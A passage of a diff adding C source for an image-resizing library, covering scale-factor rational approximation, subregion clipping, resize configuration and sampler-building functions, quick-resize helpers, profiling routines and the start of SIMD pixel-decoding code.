+        *denom = (stbir_uint32) denom_estimate;
+        return 1;
+      }
+    }
+
+    // no more refinement bits left? break out and do full range estimate
+    if ( bot == 0 )
+      break;
+
+    // gcd the estimate bits
+    est = top / bot;
+    temp = top % bot;
+    top = bot;
+    bot = temp;
+
+    // move remainders
+    temp = est * denom_estimate + denom_last;
+    denom_last = denom_estimate;
+    denom_estimate = temp;
+
+    // move remainders
+    temp = est * numer_estimate + numer_last;
+    numer_last = numer_estimate;
+    numer_estimate = temp;
+  }
+
+  // we didn't fine anything good enough for float, use a full range estimate
+  if ( limit_denom )
+  {
+    numer_estimate= (stbir_uint64)( f * (double)limit + 0.5 );
+    denom_estimate = limit;
+  }
+  else
+  {
+    numer_estimate = limit;
+    denom_estimate = (stbir_uint64)( ( (double)limit / f ) + 0.5 );
+  }
+
+  *numer = (stbir_uint32) numer_estimate;
+  *denom = (stbir_uint32) denom_estimate;
+
+  err = ( denom_estimate ) ? ( ( (double)(stbir_uint32)numer_estimate / (double)(stbir_uint32)denom_estimate ) - f ) : 1.0;
+  if ( err < 0.0 ) err = -err;
+  return ( err < ( 1.0 / (double)(1<<24) ) ) ? 1 : 0;
+}
+
+static int stbir__calculate_region_transform( stbir__scale_info * scale_info, int output_full_range, int * output_offset, int output_sub_range, int input_full_range, double input_s0, double input_s1 )
+{
+  double output_range, input_range, output_s, input_s, ratio, scale;
+
+  input_s = input_s1 - input_s0;
+
+  // null area
+  if ( ( output_full_range == 0 ) || ( input_full_range == 0 ) ||
+       ( output_sub_range == 0 ) || ( input_s <= stbir__small_float ) )
+    return 0;
+
+  // are either of the ranges completely out of bounds?
+  if ( ( *output_offset >= output_full_range ) || ( ( *output_offset + output_sub_range ) <= 0 ) || ( input_s0 >= (1.0f-stbir__small_float) ) || ( input_s1 <= stbir__small_float ) )
+    return 0;
+
+  output_range = (double)output_full_range;
+  input_range = (double)input_full_range;
+
+  output_s = ( (double)output_sub_range) / output_range;
+
+  // figure out the scaling to use
+  ratio = output_s / input_s;
+
+  // save scale before clipping
+  scale = ( output_range / input_range ) * ratio;
+  scale_info->scale = (float)scale;
+  scale_info->inv_scale = (float)( 1.0 / scale );
+
+  // clip output area to left/right output edges (and adjust input area)
+  stbir__clip( output_offset, &output_sub_range, output_full_range, &input_s0, &input_s1 );
+
+  // recalc input area
+  input_s = input_s1 - input_s0;
+
+  // after clipping do we have zero input area?
+  if ( input_s <= stbir__small_float )
+    return 0;
+
+  // calculate and store the starting source offsets in output pixel space
+  scale_info->pixel_shift = (float) ( input_s0 * ratio * output_range );
+
+  scale_info->scale_is_rational = stbir__double_to_rational( scale, ( scale <= 1.0 ) ? output_full_range : input_full_range, &scale_info->scale_numerator, &scale_info->scale_denominator, ( scale >= 1.0 ) );
+
+  scale_info->input_full_size = input_full_range;
+  scale_info->output_sub_size = output_sub_range;
+
+  return 1;
+}
+
+
+static void stbir__init_and_set_layout( STBIR_RESIZE * resize, stbir_pixel_layout pixel_layout, stbir_datatype data_type )
+{
+  resize->input_cb = 0;
+  resize->output_cb = 0;
+  resize->user_data = resize;
+  resize->samplers = 0;
+  resize->called_alloc = 0;
+  resize->horizontal_filter = STBIR_FILTER_DEFAULT;
+  resize->horizontal_filter_kernel = 0; resize->horizontal_filter_support = 0;
+  resize->vertical_filter = STBIR_FILTER_DEFAULT;
+  resize->vertical_filter_kernel = 0; resize->vertical_filter_support = 0;
+  resize->horizontal_edge = STBIR_EDGE_CLAMP;
+  resize->vertical_edge = STBIR_EDGE_CLAMP;
+  resize->input_s0 = 0; resize->input_t0 = 0; resize->input_s1 = 1; resize->input_t1 = 1;
+  resize->output_subx = 0; resize->output_suby = 0; resize->output_subw = resize->output_w; resize->output_subh = resize->output_h;
+  resize->input_data_type = data_type;
+  resize->output_data_type = data_type;
+  resize->input_pixel_layout_public = pixel_layout;
+  resize->output_pixel_layout_public = pixel_layout;
+  resize->needs_rebuild = 1;
+}
+
+STBIRDEF void stbir_resize_init( STBIR_RESIZE * resize,
+                                 const void *input_pixels,  int input_w,  int input_h, int input_stride_in_bytes, // stride can be zero
+                                       void *output_pixels, int output_w, int output_h, int output_stride_in_bytes, // stride can be zero
+                                 stbir_pixel_layout pixel_layout, stbir_datatype data_type )
+{
+  resize->input_pixels = input_pixels;
+  resize->input_w = input_w;
+  resize->input_h = input_h;
+  resize->input_stride_in_bytes = input_stride_in_bytes;
+  resize->output_pixels = output_pixels;
+  resize->output_w = output_w;
+  resize->output_h = output_h;
+  resize->output_stride_in_bytes = output_stride_in_bytes;
+  resize->fast_alpha = 0;
+
+  stbir__init_and_set_layout( resize, pixel_layout, data_type );
+}
+
+// You can update parameters any time after resize_init
+STBIRDEF void stbir_set_datatypes( STBIR_RESIZE * resize, stbir_datatype input_type, stbir_datatype output_type )  // by default, datatype from resize_init
+{
+  resize->input_data_type = input_type;
+  resize->output_data_type = output_type;
+  if ( ( resize->samplers ) && ( !resize->needs_rebuild ) )
+    stbir__update_info_from_resize( resize->samplers, resize );
+}
+
+STBIRDEF void stbir_set_pixel_callbacks( STBIR_RESIZE * resize, stbir_input_callback * input_cb, stbir_output_callback * output_cb )   // no callbacks by default
+{
+  resize->input_cb = input_cb;
+  resize->output_cb = output_cb;
+
+  if ( ( resize->samplers ) && ( !resize->needs_rebuild ) )
+  {
+    resize->samplers->in_pixels_cb = input_cb;
+    resize->samplers->out_pixels_cb = output_cb;
+  }
+}
+
+STBIRDEF void stbir_set_user_data( STBIR_RESIZE * resize, void * user_data )                                     // pass back STBIR_RESIZE* by default
+{
+  resize->user_data = user_data;
+  if ( ( resize->samplers ) && ( !resize->needs_rebuild ) )
+    resize->samplers->user_data = user_data;
+}
+
+STBIRDEF void stbir_set_buffer_ptrs( STBIR_RESIZE * resize, const void * input_pixels, int input_stride_in_bytes, void * output_pixels, int output_stride_in_bytes )
+{
+  resize->input_pixels = input_pixels;
+  resize->input_stride_in_bytes = input_stride_in_bytes;
+  resize->output_pixels = output_pixels;
+  resize->output_stride_in_bytes = output_stride_in_bytes;
+  if ( ( resize->samplers ) && ( !resize->needs_rebuild ) )
+    stbir__update_info_from_resize( resize->samplers, resize );
+}
+
+
+STBIRDEF int stbir_set_edgemodes( STBIR_RESIZE * resize, stbir_edge horizontal_edge, stbir_edge vertical_edge )       // CLAMP by default
+{
+  resize->horizontal_edge = horizontal_edge;
+  resize->vertical_edge = vertical_edge;
+  resize->needs_rebuild = 1;
+  return 1;
+}
+
+STBIRDEF int stbir_set_filters( STBIR_RESIZE * resize, stbir_filter horizontal_filter, stbir_filter vertical_filter ) // STBIR_DEFAULT_FILTER_UPSAMPLE/DOWNSAMPLE by default
+{
+  resize->horizontal_filter = horizontal_filter;
+  resize->vertical_filter = vertical_filter;
+  resize->needs_rebuild = 1;
+  return 1;
+}
+
+STBIRDEF int stbir_set_filter_callbacks( STBIR_RESIZE * resize, stbir__kernel_callback * horizontal_filter, stbir__support_callback * horizontal_support, stbir__kernel_callback * vertical_filter, stbir__support_callback * vertical_support )
+{
+  resize->horizontal_filter_kernel = horizontal_filter; resize->horizontal_filter_support = horizontal_support;
+  resize->vertical_filter_kernel = vertical_filter; resize->vertical_filter_support = vertical_support;
+  resize->needs_rebuild = 1;
+  return 1;
+}
+
+STBIRDEF int stbir_set_pixel_layouts( STBIR_RESIZE * resize, stbir_pixel_layout input_pixel_layout, stbir_pixel_layout output_pixel_layout )   // sets new pixel layouts
+{
+  resize->input_pixel_layout_public = input_pixel_layout;
+  resize->output_pixel_layout_public = output_pixel_layout;
+  resize->needs_rebuild = 1;
+  return 1;
+}
+
+
+STBIRDEF int stbir_set_non_pm_alpha_speed_over_quality( STBIR_RESIZE * resize, int non_pma_alpha_speed_over_quality )   // sets alpha speed
+{
+  resize->fast_alpha = non_pma_alpha_speed_over_quality;
+  resize->needs_rebuild = 1;
+  return 1;
+}
+
+STBIRDEF int stbir_set_input_subrect( STBIR_RESIZE * resize, double s0, double t0, double s1, double t1 )                 // sets input region (full region by default)
+{
+  resize->input_s0 = s0;
+  resize->input_t0 = t0;
+  resize->input_s1 = s1;
+  resize->input_t1 = t1;
+  resize->needs_rebuild = 1;
+
+  // are we inbounds?
+  if ( ( s1 < stbir__small_float ) || ( (s1-s0) < stbir__small_float ) ||
+       ( t1 < stbir__small_float ) || ( (t1-t0) < stbir__small_float ) ||
+       ( s0 > (1.0f-stbir__small_float) ) ||
+       ( t0 > (1.0f-stbir__small_float) ) )
+    return 0;
+
+  return 1;
+}
+
+STBIRDEF int stbir_set_output_pixel_subrect( STBIR_RESIZE * resize, int subx, int suby, int subw, int subh )          // sets input region (full region by default)
+{
+  resize->output_subx = subx;
+  resize->output_suby = suby;
+  resize->output_subw = subw;
+  resize->output_subh = subh;
+  resize->needs_rebuild = 1;
+
+  // are we inbounds?
+  if ( ( subx >= resize->output_w ) || ( ( subx + subw ) <= 0 ) || ( suby >= resize->output_h ) || ( ( suby + subh ) <= 0 ) || ( subw == 0 ) || ( subh == 0 ) )
+    return 0;
+
+  return 1;
+}
+
+STBIRDEF int stbir_set_pixel_subrect( STBIR_RESIZE * resize, int subx, int suby, int subw, int subh )                 // sets both regions (full regions by default)
+{
+  double s0, t0, s1, t1;
+
+  s0 = ( (double)subx ) / ( (double)resize->output_w );
+  t0 = ( (double)suby ) / ( (double)resize->output_h );
+  s1 = ( (double)(subx+subw) ) / ( (double)resize->output_w );
+  t1 = ( (double)(suby+subh) ) / ( (double)resize->output_h );
+
+  resize->input_s0 = s0;
+  resize->input_t0 = t0;
+  resize->input_s1 = s1;
+  resize->input_t1 = t1;
+  resize->output_subx = subx;
+  resize->output_suby = suby;
+  resize->output_subw = subw;
+  resize->output_subh = subh;
+  resize->needs_rebuild = 1;
+
+  // are we inbounds?
+  if ( ( subx >= resize->output_w ) || ( ( subx + subw ) <= 0 ) || ( suby >= resize->output_h ) || ( ( suby + subh ) <= 0 ) || ( subw == 0 ) || ( subh == 0 ) )
+    return 0;
+
+  return 1;
+}
+
+static int stbir__perform_build( STBIR_RESIZE * resize, int splits )
+{
+  stbir__contributors conservative = { 0, 0 };
+  stbir__sampler horizontal, vertical;
+  int new_output_subx, new_output_suby;
+  stbir__info * out_info;
+  #ifdef STBIR_PROFILE
+  stbir__info profile_infod;  // used to contain building profile info before everything is allocated
+  stbir__info * profile_info = &profile_infod;
+  #endif
+
+  // have we already built the samplers?
+  if ( resize->samplers )
+    return 0;
+
+  #define STBIR_RETURN_ERROR_AND_ASSERT( exp )  STBIR_ASSERT( !(exp) ); if (exp) return 0;
+  STBIR_RETURN_ERROR_AND_ASSERT( (unsigned)resize->horizontal_filter >= STBIR_FILTER_OTHER)
+  STBIR_RETURN_ERROR_AND_ASSERT( (unsigned)resize->vertical_filter >= STBIR_FILTER_OTHER)
+  #undef STBIR_RETURN_ERROR_AND_ASSERT
+
+  if ( splits <= 0 )
+    return 0;
+
+  STBIR_PROFILE_BUILD_FIRST_START( build );
+
+  new_output_subx = resize->output_subx;
+  new_output_suby = resize->output_suby;
+
+  // do horizontal clip and scale calcs
+  if ( !stbir__calculate_region_transform( &horizontal.scale_info, resize->output_w, &new_output_subx, resize->output_subw, resize->input_w, resize->input_s0, resize->input_s1 ) )
+    return 0;
+
+  // do vertical clip and scale calcs
+  if ( !stbir__calculate_region_transform( &vertical.scale_info, resize->output_h, &new_output_suby, resize->output_subh, resize->input_h, resize->input_t0, resize->input_t1 ) )
+    return 0;
+
+  // if nothing to do, just return
+  if ( ( horizontal.scale_info.output_sub_size == 0 ) || ( vertical.scale_info.output_sub_size == 0 ) )
+    return 0;
+
+  stbir__set_sampler(&horizontal, resize->horizontal_filter, resize->horizontal_filter_kernel, resize->horizontal_filter_support, resize->horizontal_edge, &horizontal.scale_info, 1, resize->user_data );
+  stbir__get_conservative_extents( &horizontal, &conservative, resize->user_data );
+  stbir__set_sampler(&vertical, resize->vertical_filter, resize->vertical_filter_kernel, resize->vertical_filter_support, resize->vertical_edge, &vertical.scale_info, 0, resize->user_data );
+
+  if ( ( vertical.scale_info.output_sub_size / splits ) < STBIR_FORCE_MINIMUM_SCANLINES_FOR_SPLITS ) // each split should be a minimum of 4 scanlines (handwavey choice)
+  {
+    splits = vertical.scale_info.output_sub_size / STBIR_FORCE_MINIMUM_SCANLINES_FOR_SPLITS;
+    if ( splits == 0 ) splits = 1;
+  }
+
+  STBIR_PROFILE_BUILD_START( alloc );
+  out_info = stbir__alloc_internal_mem_and_build_samplers( &horizontal, &vertical, &conservative, resize->input_pixel_layout_public, resize->output_pixel_layout_public, splits, new_output_subx, new_output_suby, resize->fast_alpha, resize->user_data STBIR_ONLY_PROFILE_BUILD_SET_INFO );
+  STBIR_PROFILE_BUILD_END( alloc );
+  STBIR_PROFILE_BUILD_END( build );
+
+  if ( out_info )
+  {
+    resize->splits = splits;
+    resize->samplers = out_info;
+    resize->needs_rebuild = 0;
+    #ifdef STBIR_PROFILE
+      STBIR_MEMCPY( &out_info->profile, &profile_infod.profile, sizeof( out_info->profile ) );
+    #endif
+
+    // update anything that can be changed without recalcing samplers
+    stbir__update_info_from_resize( out_info, resize );
+
+    return splits;
+  }
+
+  return 0;
+}
+
+void stbir_free_samplers( STBIR_RESIZE * resize )
+{
+  if ( resize->samplers )
+  {
+    stbir__free_internal_mem( resize->samplers );
+    resize->samplers = 0;
+    resize->called_alloc = 0;
+  }
+}
+
+STBIRDEF int stbir_build_samplers_with_splits( STBIR_RESIZE * resize, int splits )
+{
+  if ( ( resize->samplers == 0 ) || ( resize->needs_rebuild ) )
+  {
+    if ( resize->samplers )
+      stbir_free_samplers( resize );
+
+    resize->called_alloc = 1;
+    return stbir__perform_build( resize, splits );
+  }
+
+  STBIR_PROFILE_BUILD_CLEAR( resize->samplers );
+
+  return 1;
+}
+
+STBIRDEF int stbir_build_samplers( STBIR_RESIZE * resize )
+{
+  return stbir_build_samplers_with_splits( resize, 1 );
+}
+
+STBIRDEF int stbir_resize_extended( STBIR_RESIZE * resize )
+{
+  int result;
+
+  if ( ( resize->samplers == 0 ) || ( resize->needs_rebuild ) )
+  {
+    int alloc_state = resize->called_alloc;  // remember allocated state
+
+    if ( resize->samplers )
+    {
+      stbir__free_internal_mem( resize->samplers );
+      resize->samplers = 0;
+    }
+
+    if ( !stbir_build_samplers( resize ) )
+      return 0;
+
+    resize->called_alloc = alloc_state;
+
+    // if build_samplers succeeded (above), but there are no samplers set, then
+    //   the area to stretch into was zero pixels, so don't do anything and return
+    //   success
+    if ( resize->samplers == 0 )
+      return 1;
+  }
+  else
+  {
+    // didn't build anything - clear it
+    STBIR_PROFILE_BUILD_CLEAR( resize->samplers );
+  }
+
+  // do resize
+  result = stbir__perform_resize( resize->samplers, 0, resize->splits );
+
+  // if we alloced, then free
+  if ( !resize->called_alloc )
+  {
+    stbir_free_samplers( resize );
+    resize->samplers = 0;
+  }
+
+  return result;
+}
+
+STBIRDEF int stbir_resize_extended_split( STBIR_RESIZE * resize, int split_start, int split_count )
+{
+  STBIR_ASSERT( resize->samplers );
+
+  // if we're just doing the whole thing, call full
+  if ( ( split_start == -1 ) || ( ( split_start == 0 ) && ( split_count == resize->splits ) ) )
+    return stbir_resize_extended( resize );
+
+  // you **must** build samplers first when using split resize
+  if ( ( resize->samplers == 0 ) || ( resize->needs_rebuild ) )
+    return 0;
+
+  if ( ( split_start >= resize->splits ) || ( split_start < 0 ) || ( ( split_start + split_count ) > resize->splits ) || ( split_count <= 0 ) )
+    return 0;
+
+  // do resize
+  return stbir__perform_resize( resize->samplers, split_start, split_count );
+}
+
+
+static void * stbir_quick_resize_helper( const void *input_pixels , int input_w , int input_h, int input_stride_in_bytes,
+                                               void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                               stbir_pixel_layout pixel_layout, stbir_datatype data_type, stbir_edge edge, stbir_filter filter )
+{
+  STBIR_RESIZE resize;
+  int scanline_output_in_bytes;
+  int positive_output_stride_in_bytes;
+  void * start_ptr;
+  void * free_ptr;
+
+ // scanline_output_in_bytes = output_w * stbir__type_size[ data_type ] * stbir__pixel_channels[ pixel_layout ];
+ scanline_output_in_bytes = output_w * stbir__type_size[ data_type ] * stbir__pixel_channels[ stbir__pixel_layout_convert_public_to_internal[ pixel_layout ] ];
+  if ( scanline_output_in_bytes == 0 )
+    return 0;
+
+  // if zero stride, use scanline output
+  if ( output_stride_in_bytes == 0 )
+    output_stride_in_bytes = scanline_output_in_bytes;
+
+  // abs value for inverted images (negative pitches)
+  positive_output_stride_in_bytes = output_stride_in_bytes;
+  if ( positive_output_stride_in_bytes < 0 )
+    positive_output_stride_in_bytes = -positive_output_stride_in_bytes;
+
+  // is the requested stride smaller than the scanline output? if so, just fail
+  if ( positive_output_stride_in_bytes < scanline_output_in_bytes )
+    return 0;
+
+  start_ptr = output_pixels;
+  free_ptr = 0;  // no free pointer, since they passed buffer to use
+
+  // did they pass a zero for the dest? if so, allocate the buffer
+  if ( output_pixels == 0 )
+  {
+    size_t size;
+    char * ptr;
+  
+    size = (size_t)positive_output_stride_in_bytes * (size_t)output_h;
+    if ( size == 0 )
+      return 0;
+
+    ptr = (char*) STBIR_MALLOC( size, 0 );
+    if ( ptr == 0 )
+      return 0;
+
+    free_ptr = ptr;
+
+    // point at the last scanline, if they requested a flipped image
+    if ( output_stride_in_bytes < 0 )
+      start_ptr = ptr + ( (size_t)positive_output_stride_in_bytes * (size_t)( output_h - 1 ) );
+    else
+      start_ptr = ptr;
+  }
+
+  // ok, now do the resize
+  stbir_resize_init( &resize,
+                     input_pixels,  input_w,  input_h,  input_stride_in_bytes,
+                     start_ptr, output_w, output_h, output_stride_in_bytes,
+                     pixel_layout, data_type );
+
+  resize.horizontal_edge = edge;
+  resize.vertical_edge = edge;
+  resize.horizontal_filter = filter;
+  resize.vertical_filter = filter;
+
+  if ( !stbir_resize_extended( &resize ) )
+  {
+    if ( free_ptr )
+      STBIR_FREE( free_ptr, 0 );
+    return 0;
+  }
+
+  return (free_ptr) ? free_ptr : start_ptr;
+}
+
+
+
+STBIRDEF unsigned char * stbir_resize_uint8_linear( const unsigned char *input_pixels , int input_w , int input_h, int input_stride_in_bytes,
+                                                          unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                                          stbir_pixel_layout pixel_layout )
+{
+  return (unsigned char *) stbir_quick_resize_helper( input_pixels , input_w , input_h, input_stride_in_bytes, 
+                                                      output_pixels, output_w, output_h, output_stride_in_bytes, 
+                                                      pixel_layout, STBIR_TYPE_UINT8, STBIR_EDGE_CLAMP, STBIR_FILTER_DEFAULT );
+}
+
+STBIRDEF unsigned char * stbir_resize_uint8_srgb( const unsigned char *input_pixels , int input_w , int input_h, int input_stride_in_bytes,
+                                                        unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                                        stbir_pixel_layout pixel_layout )
+{
+  return (unsigned char *) stbir_quick_resize_helper( input_pixels , input_w , input_h, input_stride_in_bytes, 
+                                                      output_pixels, output_w, output_h, output_stride_in_bytes, 
+                                                      pixel_layout, STBIR_TYPE_UINT8_SRGB, STBIR_EDGE_CLAMP, STBIR_FILTER_DEFAULT );
+}
+
+
+STBIRDEF float * stbir_resize_float_linear( const float *input_pixels , int input_w , int input_h, int input_stride_in_bytes,
+                                                  float *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                                  stbir_pixel_layout pixel_layout )
+{
+  return (float *) stbir_quick_resize_helper( input_pixels , input_w , input_h, input_stride_in_bytes, 
+                                              output_pixels, output_w, output_h, output_stride_in_bytes, 
+                                              pixel_layout, STBIR_TYPE_FLOAT, STBIR_EDGE_CLAMP, STBIR_FILTER_DEFAULT  );
+}
+
+
+STBIRDEF void * stbir_resize( const void *input_pixels , int input_w , int input_h, int input_stride_in_bytes,
+                                    void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                    stbir_pixel_layout pixel_layout, stbir_datatype data_type,
+                                    stbir_edge edge, stbir_filter filter )
+{
+  return (void *) stbir_quick_resize_helper( input_pixels , input_w , input_h, input_stride_in_bytes, 
+                                             output_pixels, output_w, output_h, output_stride_in_bytes, 
+                                             pixel_layout, data_type, edge, filter  );
+}
+
+#ifdef STBIR_PROFILE
+
+STBIRDEF void stbir_resize_build_profile_info( STBIR_PROFILE_INFO * info, STBIR_RESIZE const * resize )
+{
+  static char const * bdescriptions[6] = { "Building", "Allocating", "Horizontal sampler", "Vertical sampler", "Coefficient cleanup", "Coefficient piovot" } ;
+  stbir__info* samp = resize->samplers;
+  int i;
+
+  typedef int testa[ (STBIR__ARRAY_SIZE( bdescriptions ) == (STBIR__ARRAY_SIZE( samp->profile.array )-1) )?1:-1];
+  typedef int testb[ (sizeof( samp->profile.array ) == (sizeof(samp->profile.named)) )?1:-1];
+  typedef int testc[ (sizeof( info->clocks ) >= (sizeof(samp->profile.named)) )?1:-1];
+
+  for( i = 0 ; i < STBIR__ARRAY_SIZE( bdescriptions ) ; i++)
+    info->clocks[i] = samp->profile.array[i+1];
+
+  info->total_clocks = samp->profile.named.total;
+  info->descriptions = bdescriptions;
+  info->count = STBIR__ARRAY_SIZE( bdescriptions );
+}
+
+STBIRDEF void stbir_resize_split_profile_info( STBIR_PROFILE_INFO * info, STBIR_RESIZE const * resize, int split_start, int split_count )
+{
+  static char const * descriptions[7] = { "Looping", "Vertical sampling", "Horizontal sampling", "Scanline input", "Scanline output", "Alpha weighting", "Alpha unweighting" };
+  stbir__per_split_info * split_info;
+  int s, i;
+
+  typedef int testa[ (STBIR__ARRAY_SIZE( descriptions ) == (STBIR__ARRAY_SIZE( split_info->profile.array )-1) )?1:-1];
+  typedef int testb[ (sizeof( split_info->profile.array ) == (sizeof(split_info->profile.named)) )?1:-1];
+  typedef int testc[ (sizeof( info->clocks ) >= (sizeof(split_info->profile.named)) )?1:-1];
+
+  if ( split_start == -1 )
+  {
+    split_start = 0;
+    split_count = resize->samplers->splits;
+  }
+
+  if ( ( split_start >= resize->splits ) || ( split_start < 0 ) || ( ( split_start + split_count ) > resize->splits ) || ( split_count <= 0 ) )
+  {
+    info->total_clocks = 0;
+    info->descriptions = 0;
+    info->count = 0;
+    return;
+  }
+
+  split_info = resize->samplers->split_info + split_start;
+
+  // sum up the profile from all the splits
+  for( i = 0 ; i < STBIR__ARRAY_SIZE( descriptions ) ; i++ )
+  {
+    stbir_uint64 sum = 0;
+    for( s = 0 ; s < split_count ; s++ )
+      sum += split_info[s].profile.array[i+1];
+    info->clocks[i] = sum;
+  }
+
+  info->total_clocks = split_info->profile.named.total;
+  info->descriptions = descriptions;
+  info->count = STBIR__ARRAY_SIZE( descriptions );
+}
+
+STBIRDEF void stbir_resize_extended_profile_info( STBIR_PROFILE_INFO * info, STBIR_RESIZE const * resize )
+{
+  stbir_resize_split_profile_info( info, resize, -1, 0 );
+}
+
+#endif // STBIR_PROFILE
+
+#undef STBIR_BGR
+#undef STBIR_1CHANNEL
+#undef STBIR_2CHANNEL
+#undef STBIR_RGB
+#undef STBIR_RGBA
+#undef STBIR_4CHANNEL
+#undef STBIR_BGRA
+#undef STBIR_ARGB
+#undef STBIR_ABGR
+#undef STBIR_RA
+#undef STBIR_AR
+#undef STBIR_RGBA_PM
+#undef STBIR_BGRA_PM
+#undef STBIR_ARGB_PM
+#undef STBIR_ABGR_PM
+#undef STBIR_RA_PM
+#undef STBIR_AR_PM
+
+#endif // STB_IMAGE_RESIZE_IMPLEMENTATION
+
+#else  // STB_IMAGE_RESIZE_HORIZONTALS&STB_IMAGE_RESIZE_DO_VERTICALS
+
+// we reinclude the header file to define all the horizontal functions
+//   specializing each function for the number of coeffs is 20-40% faster *OVERALL*
+
+// by including the header file again this way, we can still debug the functions
+
+#define STBIR_strs_join2( start, mid, end ) start##mid##end
+#define STBIR_strs_join1( start, mid, end ) STBIR_strs_join2( start, mid, end )
+
+#define STBIR_strs_join24( start, mid1, mid2, end ) start##mid1##mid2##end
+#define STBIR_strs_join14( start, mid1, mid2, end ) STBIR_strs_join24( start, mid1, mid2, end )
+
+#ifdef STB_IMAGE_RESIZE_DO_CODERS
+
+#ifdef stbir__decode_suffix
+#define STBIR__CODER_NAME( name ) STBIR_strs_join1( name, _, stbir__decode_suffix )
+#else
+#define STBIR__CODER_NAME( name ) name
+#endif
+
+#ifdef stbir__decode_swizzle
+#define stbir__decode_simdf8_flip(reg) STBIR_strs_join1( STBIR_strs_join1( STBIR_strs_join1( STBIR_strs_join1( stbir__simdf8_0123to,stbir__decode_order0,stbir__decode_order1),stbir__decode_order2,stbir__decode_order3),stbir__decode_order0,stbir__decode_order1),stbir__decode_order2,stbir__decode_order3)(reg, reg)
+#define stbir__decode_simdf4_flip(reg) STBIR_strs_join1( STBIR_strs_join1( stbir__simdf_0123to,stbir__decode_order0,stbir__decode_order1),stbir__decode_order2,stbir__decode_order3)(reg, reg)
+#define stbir__encode_simdf8_unflip(reg) STBIR_strs_join1( STBIR_strs_join1( STBIR_strs_join1( STBIR_strs_join1( stbir__simdf8_0123to,stbir__encode_order0,stbir__encode_order1),stbir__encode_order2,stbir__encode_order3),stbir__encode_order0,stbir__encode_order1),stbir__encode_order2,stbir__encode_order3)(reg, reg)
+#define stbir__encode_simdf4_unflip(reg) STBIR_strs_join1( STBIR_strs_join1( stbir__simdf_0123to,stbir__encode_order0,stbir__encode_order1),stbir__encode_order2,stbir__encode_order3)(reg, reg)
+#else
+#define stbir__decode_order0 0
+#define stbir__decode_order1 1
+#define stbir__decode_order2 2
+#define stbir__decode_order3 3
+#define stbir__encode_order0 0
+#define stbir__encode_order1 1
+#define stbir__encode_order2 2
+#define stbir__encode_order3 3
+#define stbir__decode_simdf8_flip(reg)
+#define stbir__decode_simdf4_flip(reg)
+#define stbir__encode_simdf8_unflip(reg)
+#define stbir__encode_simdf4_unflip(reg)
+#endif
+
+#ifdef STBIR_SIMD8
+#define stbir__encode_simdfX_unflip  stbir__encode_simdf8_unflip
+#else
+#define stbir__encode_simdfX_unflip  stbir__encode_simdf4_unflip
+#endif
+
+static float * STBIR__CODER_NAME( stbir__decode_uint8_linear_scaled )( float * decodep, int width_times_channels, void const * inputp )
+{
+  float STBIR_STREAMOUT_PTR( * ) decode = decodep;
+  float * decode_end = (float*) decode + width_times_channels;
+  unsigned char const * input = (unsigned char const*)inputp;
+
+  #ifdef STBIR_SIMD
+  unsigned char const * end_input_m16 = input + width_times_channels - 16;
+  if ( width_times_channels >= 16 )
+  {
+    decode_end -= 16;
+    STBIR_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      #ifdef STBIR_SIMD8
+      stbir__simdi i; stbir__simdi8 o0,o1;
+      stbir__simdf8 of0, of1;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdi_load( i, input );
+      stbir__simdi8_expand_u8_to_u32( o0, o1, i );
+      stbir__simdi8_convert_i32_to_float( of0, o0 );
+      stbir__simdi8_convert_i32_to_float( of1, o1 );
+      stbir__simdf8_mult( of0, of0, STBIR_max_uint8_as_float_inverted8);
+      stbir__simdf8_mult( of1, of1, STBIR_max_uint8_as_float_inverted8);
+      stbir__decode_simdf8_flip( of0 );
+      stbir__decode_simdf8_flip( of1 );
+      stbir__simdf8_store( decode + 0, of0 );
+      stbir__simdf8_store( decode + 8, of1 );
+      #else
+      stbir__simdi i, o0, o1, o2, o3;
+      stbir__simdf of0, of1, of2, of3;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdi_load( i, input );
+      stbir__simdi_expand_u8_to_u32( o0,o1,o2,o3,i);
+      stbir__simdi_convert_i32_to_float( of0, o0 );
+      stbir__simdi_convert_i32_to_float( of1, o1 );
+      stbir__simdi_convert_i32_to_float( of2, o2 );
+      stbir__simdi_convert_i32_to_float( of3, o3 );
+      stbir__simdf_mult( of0, of0, STBIR__CONSTF(STBIR_max_uint8_as_float_inverted) );
+      stbir__simdf_mult( of1, of1, STBIR__CONSTF(STBIR_max_uint8_as_float_inverted) );
+      stbir__simdf_mult( of2, of2, STBIR__CONSTF(STBIR_max_uint8_as_float_inverted) );
+      stbir__simdf_mult( of3, of3, STBIR__CONSTF(STBIR_max_uint8_as_float_inverted) );
+      stbir__decode_simdf4_flip( of0 );
+      stbir__decode_simdf4_flip( of1 );
+      stbir__decode_simdf4_flip( of2 );
+      stbir__decode_simdf4_flip( of3 );
+      stbir__simdf_store( decode + 0,  of0 );
+      stbir__simdf_store( decode + 4,  of1 );
+      stbir__simdf_store( decode + 8,  of2 );
+      stbir__simdf_store( decode + 12, of3 );
+      #endif
+      decode += 16;
+      input += 16;
+      if ( decode <= decode_end )
+        continue;
+      if ( decode == ( decode_end + 16 ) )
+        break;
+      decode = decode_end; // backup and do last couple
+      input = end_input_m16;
+    }
+    return decode_end + 16;
+  }
+  #endif
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  decode += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( decode <= decode_end )
+  {
+    STBIR_SIMD_NO_UNROLL(decode);
+    decode[0-4] = ((float)(input[stbir__decode_order0])) * stbir__max_uint8_as_float_inverted;
+    decode[1-4] = ((float)(input[stbir__decode_order1])) * stbir__max_uint8_as_float_inverted;
+    decode[2-4] = ((float)(input[stbir__decode_order2])) * stbir__max_uint8_as_float_inverted;
+    decode[3-4] = ((float)(input[stbir__decode_order3])) * stbir__max_uint8_as_float_inverted;
+    decode += 4;
+    input += 4;
+  }
+  decode -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( decode < decode_end )
+  {
+    STBIR_NO_UNROLL(decode);
+    decode[0] = ((float)(input[stbir__decode_order0])) * stbir__max_uint8_as_float_inverted;
+    #if stbir__coder_min_num >= 2
